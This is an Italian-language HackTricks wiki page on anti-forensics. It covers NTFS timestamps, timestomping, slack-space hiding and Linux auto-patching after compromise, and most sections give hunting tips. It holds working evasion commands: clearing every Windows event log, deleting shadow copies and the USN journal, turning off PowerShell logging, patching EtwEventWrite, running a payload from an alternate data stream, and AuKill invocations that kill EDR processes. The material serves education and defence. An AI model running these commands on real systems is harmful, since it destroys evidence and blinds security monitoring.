Tecniche Anti-Forensi
Reading time: 14 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Timestamp
Un attaccante potrebbe essere interessato a cambiare i timestamp dei file per evitare di essere rilevato.
Ă possibile trovare i timestamp all'interno del MFT negli attributi $STANDARD_INFORMATION
__ e __ $FILE_NAME
.
Entrambi gli attributi hanno 4 timestamp: Modifica, accesso, creazione e modifica del registro MFT (MACE o MACB).
Esplora file di Windows e altri strumenti mostrano le informazioni da $STANDARD_INFORMATION
.
TimeStomp - Strumento Anti-forense
Questo strumento modifica le informazioni sui timestamp all'interno di $STANDARD_INFORMATION
ma non le informazioni all'interno di $FILE_NAME
. Pertanto, è possibile identificare attività sospette.
Usnjrnl
Il USN Journal (Registro del Numero di Sequenza di Aggiornamento) è una funzionalità del NTFS (sistema di file Windows NT) che tiene traccia delle modifiche al volume. Lo strumento UsnJrnl2Csv consente di esaminare queste modifiche.
L'immagine precedente è l'output mostrato dallo strumento dove si può osservare che alcune modifiche sono state effettuate al file.
$LogFile
Tutte le modifiche ai metadati di un file system sono registrate in un processo noto come write-ahead logging. I metadati registrati sono conservati in un file chiamato **$LogFile**
, situato nella directory radice di un file system NTFS. Strumenti come LogFileParser possono essere utilizzati per analizzare questo file e identificare le modifiche.
Ancora una volta, nell'output dello strumento è possibile vedere che alcune modifiche sono state effettuate.
Utilizzando lo stesso strumento è possibile identificare a quale ora i timestamp sono stati modificati:
- CTIME: Ora di creazione del file
- ATIME: Ora di modifica del file
- MTIME: Modifica del registro MFT del file
- RTIME: Ora di accesso del file
Confronto tra $STANDARD_INFORMATION
e $FILE_NAME
Un altro modo per identificare file modificati sospetti sarebbe confrontare il tempo su entrambi gli attributi cercando discrepanze.
Nanosecondi
I timestamp NTFS hanno una precisione di 100 nanosecondi. Quindi, trovare file con timestamp come 2010-10-10 10:10:00.000:0000 è molto sospetto.
SetMace - Strumento Anti-forense
Questo strumento può modificare entrambi gli attributi $STARNDAR_INFORMATION
e $FILE_NAME
. Tuttavia, a partire da Windows Vista, è necessario un OS live per modificare queste informazioni.
Nascondere Dati
NFTS utilizza un cluster e la dimensione minima delle informazioni. Ciò significa che se un file occupa e utilizza un cluster e mezzo, la metà rimanente non verrà mai utilizzata fino a quando il file non viene eliminato. Quindi, è possibile nascondere dati in questo spazio di slack.
Ci sono strumenti come slacker che consentono di nascondere dati in questo spazio "nascosto". Tuttavia, un'analisi del $logfile
e del $usnjrnl
può mostrare che alcuni dati sono stati aggiunti:
Quindi, è possibile recuperare lo spazio di slack utilizzando strumenti come FTK Imager. Nota che questo tipo di strumento può salvare il contenuto offuscato o persino crittografato.
UsbKill
Questo è uno strumento che spegnerà il computer se viene rilevata qualsiasi modifica nelle porte USB.
Un modo per scoprirlo sarebbe ispezionare i processi in esecuzione e rivedere ogni script python in esecuzione.
Distribuzioni Linux Live
Queste distro sono eseguite all'interno della memoria RAM. L'unico modo per rilevarle è nel caso in cui il file system NTFS sia montato con permessi di scrittura. Se è montato solo con permessi di lettura, non sarà possibile rilevare l'intrusione.
Cancellazione Sicura
https://github.com/Claudio-C/awesome-data-sanitization
Configurazione di Windows
Ă possibile disabilitare diversi metodi di registrazione di Windows per rendere l'indagine forense molto piĂš difficile.
Disabilitare Timestamp - UserAssist
Questa è una chiave di registro che mantiene date e ore in cui ciascun eseguibile è stato eseguito dall'utente.
Disabilitare UserAssist richiede due passaggi:
- Impostare due chiavi di registro,
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs
eHKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled
, entrambe a zero per segnalare che vogliamo disabilitare UserAssist. - Cancellare i sottotree di registro che sembrano
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\<hash>
.
Disabilitare Timestamp - Prefetch
Questo salverà informazioni sulle applicazioni eseguite con l'obiettivo di migliorare le prestazioni del sistema Windows. Tuttavia, questo può essere utile anche per pratiche forensi.
- Eseguire
regedit
- Selezionare il percorso del file
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters
- Fare clic con il tasto destro su
EnablePrefetcher
eEnableSuperfetch
- Selezionare Modifica su ciascuno di questi per cambiare il valore da 1 (o 3) a 0
- Riavviare
Disabilitare Timestamp - Ultimo Tempo di Accesso
Ogni volta che una cartella viene aperta da un volume NTFS su un server Windows NT, il sistema impiega tempo per aggiornare un campo di timestamp su ciascuna cartella elencata, chiamato ultimo tempo di accesso. Su un volume NTFS molto utilizzato, questo può influire sulle prestazioni.
- Aprire l'Editor del Registro (Regedit.exe).
- Navigare a
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem
. - Cercare
NtfsDisableLastAccessUpdate
. Se non esiste, aggiungere questo DWORD e impostare il suo valore a 1, il che disabiliterĂ il processo. - Chiudere l'Editor del Registro e riavviare il server.
Eliminare la Cronologia USB
Tutti i USB Device Entries sono memorizzati nel Registro di Windows sotto la chiave di registro USBSTOR che contiene sottochiavi create ogni volta che si collega un dispositivo USB al PC o Laptop. Puoi trovare questa chiave qui HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR
. Eliminando questa eliminerai la cronologia USB.
Puoi anche utilizzare lo strumento USBDeview per essere sicuro di averle eliminate (e per eliminarle).
Un altro file che salva informazioni sugli USB è il file setupapi.dev.log
all'interno di C:\Windows\INF
. Questo dovrebbe essere eliminato.
Disabilitare le Copie Shadow
Elenca le copie shadow con vssadmin list shadowstorage
Eliminale eseguendo vssadmin delete shadow
Puoi anche eliminarle tramite GUI seguendo i passaggi proposti in https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html
Per disabilitare le copie shadow passaggi da qui:
- Aprire il programma Servizi digitando "servizi" nella casella di ricerca dopo aver cliccato sul pulsante di avvio di Windows.
- Dall'elenco, trovare "Volume Shadow Copy", selezionarlo e quindi accedere alle ProprietĂ facendo clic con il tasto destro.
- Scegliere Disabilitato dal menu a discesa "Tipo di avvio" e quindi confermare la modifica facendo clic su Applica e OK.
Ă anche possibile modificare la configurazione di quali file verranno copiati nella copia shadow nel registro HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot
Sovrascrivere file eliminati
- Puoi utilizzare uno strumento di Windows:
cipher /w:C
Questo indicherĂ a cipher di rimuovere qualsiasi dato dallo spazio su disco inutilizzato disponibile all'interno dell'unitĂ C. - Puoi anche utilizzare strumenti come Eraser
Eliminare i registri eventi di Windows
- Windows + R --> eventvwr.msc --> Espandi "Registri di Windows" --> Fai clic con il tasto destro su ciascuna categoria e seleziona "Cancella registro"
for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"
Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }
Disabilitare i registri eventi di Windows
reg add 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\eventlog' /v Start /t REG_DWORD /d 4 /f
- All'interno della sezione servizi disabilitare il servizio "Windows Event Log"
WEvtUtil.exec clear-log
oWEvtUtil.exe cl
Disabilitare $UsnJrnl
fsutil usn deletejournal /d c:
Logging Avanzato & Manomissione delle Tracce (2023-2025)
Logging ScriptBlock/Modulo PowerShell
Le versioni recenti di Windows 10/11 e Windows Server mantengono artifacts forensi PowerShell ricchi sotto
Microsoft-Windows-PowerShell/Operational
(eventi 4104/4105/4106).
Gli attaccanti possono disabilitarli o eliminarli al volo:
# Turn OFF ScriptBlock & Module logging (registry persistence)
New-ItemProperty -Path "HKLM:\\SOFTWARE\\Microsoft\\PowerShell\\3\\PowerShellEngine" \
-Name EnableScriptBlockLogging -Value 0 -PropertyType DWord -Force
New-ItemProperty -Path "HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\PowerShell\\ModuleLogging" \
-Name EnableModuleLogging -Value 0 -PropertyType DWord -Force
# In-memory wipe of recent PowerShell logs
Get-WinEvent -LogName 'Microsoft-Windows-PowerShell/Operational' |
Remove-WinEvent # requires admin & Win11 23H2+
I difensori dovrebbero monitorare le modifiche a quelle chiavi di registro e la rimozione ad alto volume di eventi PowerShell.
Patch ETW (Event Tracing for Windows)
I prodotti di sicurezza degli endpoint si basano fortemente su ETW. Un metodo di evasione popolare del 2024 è quello di patchare ntdll!EtwEventWrite
/EtwEventWriteFull
in memoria in modo che ogni chiamata ETW restituisca STATUS_SUCCESS
senza emettere l'evento:
// 0xC3 = RET on x64
unsigned char patch[1] = { 0xC3 };
WriteProcessMemory(GetCurrentProcess(),
GetProcAddress(GetModuleHandleA("ntdll.dll"), "EtwEventWrite"),
patch, sizeof(patch), NULL);
Public PoCs (e.g. EtwTiSwallow
) implementano la stessa primitiva in PowerShell o C++.
PoichÊ la patch è locale al processo, gli EDR che girano all'interno di altri processi potrebbero non rilevarla.
Rilevamento: confrontare ntdll
in memoria rispetto a quello su disco, o hookare prima della modalitĂ utente.
Ripristino dei Flussi di Dati Alternativi (ADS)
Le campagne malware nel 2023 (e.g. FIN12 loaders) sono state viste preparare binari di secondo stadio all'interno di ADS per rimanere fuori dalla vista degli scanner tradizionali:
rem Hide cobalt.bin inside an ADS of a PDF
type cobalt.bin > report.pdf:win32res.dll
rem Execute directly
wmic process call create "cmd /c report.pdf:win32res.dll"
Enumerare i flussi con dir /R
, Get-Item -Stream *
, o Sysinternals streams64.exe
. Copiare il file host su FAT/exFAT o tramite SMB rimuoverà il flusso nascosto e può essere utilizzato dagli investigatori per recuperare il payload.
BYOVD & âAuKillâ (2023)
Bring-Your-Own-Vulnerable-Driver è ora comunemente usato per anti-forensics nelle intrusioni ransomware. Lo strumento open-source AuKill carica un driver firmato ma vulnerabile (procexp152.sys
) per sospendere o terminare EDR e sensori forensi prima della crittografia e della distruzione dei log:
AuKill.exe -e "C:\\Program Files\\Windows Defender\\MsMpEng.exe"
AuKill.exe -k CrowdStrike
Il driver viene rimosso successivamente, lasciando artefatti minimi.
Mitigazioni: abilitare la blocklist dei driver vulnerabili di Microsoft (HVCI/SAC) e segnalare la creazione di servizi del kernel da percorsi scrivibili dall'utente.
Linux Anti-Forensics: Auto-patch e Cloud C2 (2023â2025)
Auto-patching dei servizi compromessi per ridurre la rilevazione (Linux)
Gli avversari "auto-patchano" sempre piÚ spesso un servizio subito dopo averlo sfruttato per prevenire ulteriori sfruttamenti e sopprimere le rilevazioni basate su vulnerabilità . L'idea è di sostituire i componenti vulnerabili con gli ultimi binari/JAR legittimi upstream, in modo che gli scanner segnalino l'host come patchato mentre la persistenza e il C2 rimangono.
Esempio: Apache ActiveMQ OpenWire RCE (CVEâ2023â46604)
- Dopo lo sfruttamento, gli attaccanti hanno prelevato JAR legittimi da Maven Central (repo1.maven.org), eliminato i JAR vulnerabili nell'installazione di ActiveMQ e riavviato il broker.
- Questo ha chiuso il RCE iniziale mantenendo altri punti di accesso (cron, modifiche alla configurazione SSH, impianti C2 separati).
Esempio operativo (illustrativo)
# ActiveMQ install root (adjust as needed)
AMQ_DIR=/opt/activemq
cd "$AMQ_DIR"/lib
# Fetch patched JARs from Maven Central (versions as appropriate)
curl -fsSL -O https://repo1.maven.org/maven2/org/apache/activemq/activemq-client/5.18.3/activemq-client-5.18.3.jar
curl -fsSL -O https://repo1.maven.org/maven2/org/apache/activemq/activemq-openwire-legacy/5.18.3/activemq-openwire-legacy-5.18.3.jar
# Remove vulnerable files and ensure the service uses the patched ones
rm -f activemq-client-5.18.2.jar activemq-openwire-legacy-5.18.2.jar || true
ln -sf activemq-client-5.18.3.jar activemq-client.jar
ln -sf activemq-openwire-legacy-5.18.3.jar activemq-openwire-legacy.jar
# Apply changes without removing persistence
systemctl restart activemq || service activemq restart
Forensic/hunting tips
- Rivedere le directory di servizio per sostituzioni binarie/JAR non programmate:
- Debian/Ubuntu:
dpkg -V activemq
e confrontare gli hash/percorsi dei file con i mirror del repository. - RHEL/CentOS:
rpm -Va 'activemq*'
- Cercare versioni JAR presenti su disco che non sono di proprietĂ del gestore di pacchetti, o collegamenti simbolici aggiornati fuori banda.
- Timeline:
find "$AMQ_DIR" -type f -printf '%TY-%Tm-%Td %TH:%TM %p\n' | sort
per correlare ctime/mtime con la finestra di compromissione. - Cronologia della shell/telemetria dei processi: prove di
curl
/wget
arepo1.maven.org
o altri CDN di artefatti immediatamente dopo l'iniziale sfruttamento. - Gestione delle modifiche: convalidare chi ha applicato la âpatchâ e perchĂŠ, non solo che una versione patchata è presente.
Cloudâservice C2 con bearer tokens e antiâanalysis stagers
Il tradecraft osservato ha combinato piĂš percorsi C2 a lungo termine e imballaggi anti-analisi:
- Loader ELF PyInstaller protetti da password per ostacolare il sandboxing e l'analisi statica (ad es., PYZ crittografato, estrazione temporanea sotto
/_MEI*
). - Indicatori: colpi di
strings
comePyInstaller
,pyi-archive
,PYZ-00.pyz
,MEIPASS
. - Artefatti di runtime: estrazione in
/tmp/_MEI*
o percorsi personalizzati--runtime-tmpdir
. - C2 supportato da Dropbox utilizzando token OAuth Bearer hardcoded
- Marcatori di rete:
api.dropboxapi.com
/content.dropboxapi.com
conAuthorization: Bearer <token>
. - Caccia in proxy/NetFlow/Zeek/Suricata per HTTPS in uscita verso domini Dropbox da carichi di lavoro del server che normalmente non sincronizzano file.
- C2 parallelo/di backup tramite tunneling (ad es., Cloudflare Tunnel
cloudflared
), mantenendo il controllo se un canale è bloccato. - IOCs dell'host: processi/unitĂ
cloudflared
, configurazione in~/.cloudflared/*.json
, uscita 443 verso gli edge di Cloudflare.
Persistenza e ârollback di hardeningâ per mantenere l'accesso (esempi Linux)
Gli attaccanti abbinano frequentemente l'auto-patching con percorsi di accesso durevoli:
- Cron/Anacron: modifiche allo stub
0anacron
in ciascuna directory/etc/cron.*/
per esecuzione periodica. - Caccia:
for d in /etc/cron.*; do [ -f "$d/0anacron" ] && stat -c '%n %y %s' "$d/0anacron"; done
grep -R --line-number -E 'curl|wget|python|/bin/sh' /etc/cron.*/* 2>/dev/null
- Rollback dell'hardening della configurazione SSH: abilitazione degli accessi root e modifica delle shell predefinite per account a bassa privilegio.
- Caccia per l'abilitazione del login root:
grep -E '^\s*PermitRootLogin' /etc/ssh/sshd_config
# valori di flag come "yes" o impostazioni eccessivamente permissive
- Caccia per shell interattive sospette su account di sistema (ad es.,
games
):
awk -F: '($7 ~ /bin\/(sh|bash|zsh)/ && $1 ~ /^(games|lp|sync|shutdown|halt|mail|operator)$/) {print}' /etc/passwd
- Artefatti beacon casuali e con nomi brevi (8 caratteri alfabetici) lasciati su disco che contattano anche C2 cloud:
- Caccia:
find / -maxdepth 3 -type f -regextype posix-extended -regex '.*/[A-Za-z]{8}$' \
-exec stat -c '%n %s %y' {} \; 2>/dev/null | sort
I difensori dovrebbero correlare questi artefatti con l'esposizione esterna e gli eventi di patching del servizio per scoprire l'auto-remediazione anti-forense utilizzata per nascondere lo sfruttamento iniziale.
References
-
Sophos X-Ops â âAuKill: A Weaponized Vulnerable Driver for Disabling EDRâ (March 2023) https://news.sophos.com/en-us/2023/03/07/aukill-a-weaponized-vulnerable-driver-for-disabling-edr
-
Red Canary â âPatching EtwEventWrite for Stealth: Detection & Huntingâ (June 2024) https://redcanary.com/blog/etw-patching-detection
-
Red Canary â Patching for persistence: How DripDropper Linux malware moves through the cloud
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.